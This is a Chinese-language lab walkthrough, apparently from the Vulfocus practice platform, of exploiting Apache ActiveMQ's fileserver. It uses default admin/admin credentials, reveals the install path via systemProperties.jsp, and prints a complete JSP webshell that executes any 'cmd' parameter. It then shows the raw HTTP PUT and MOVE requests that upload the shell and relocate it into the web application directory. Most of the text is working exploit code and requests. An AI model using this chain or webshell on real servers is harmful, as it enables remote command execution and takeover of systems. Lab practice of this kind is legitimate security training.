volfocus启动漏洞环境。

Untitled

访问8161端口。

http://vulfocus.fofa.so:9057/

Untitled

写入webshell，需要登录才能使用，默认账号为admin/admin。

访问http://vulfocus.fofa.so:9057/admin/test/systemProperties.jsp获取activemq的绝对路径。

Untitled

开始写入shell。

准备木马文件。

<%@ page import="java.io.*"%>

<%
  out.print("Cytosine Test<br>");

  String strcmd = request.getParameter("cmd");
  String line = null;

  Process p = Runtime.getRuntime().exec(strcmd);
  BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));

  while((line=br.readLine())!=null){
    out.print(line+"<br>");
  }
%>

请求：

PUT /fileserver/1.txt HTTP/1.1
Host: vulfocus.fofa.so:9057
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0zenu13zlk2qc112i1swxdwpj30.node0
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMT
Cache-Control: max-age=0

Untitled

返回HTTP/1.1 204 No Content。

移动到web目录下的api文件夹（/opt/activemq/webapps/api/aaa.jsp）中：

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/aaa.jsp
Host: vulfocus.fofa.so:9057
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0zenu13zlk2qc112i1swxdwpj30.node0
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMT
Cache-Control: max-age=0

Untitled

Untitled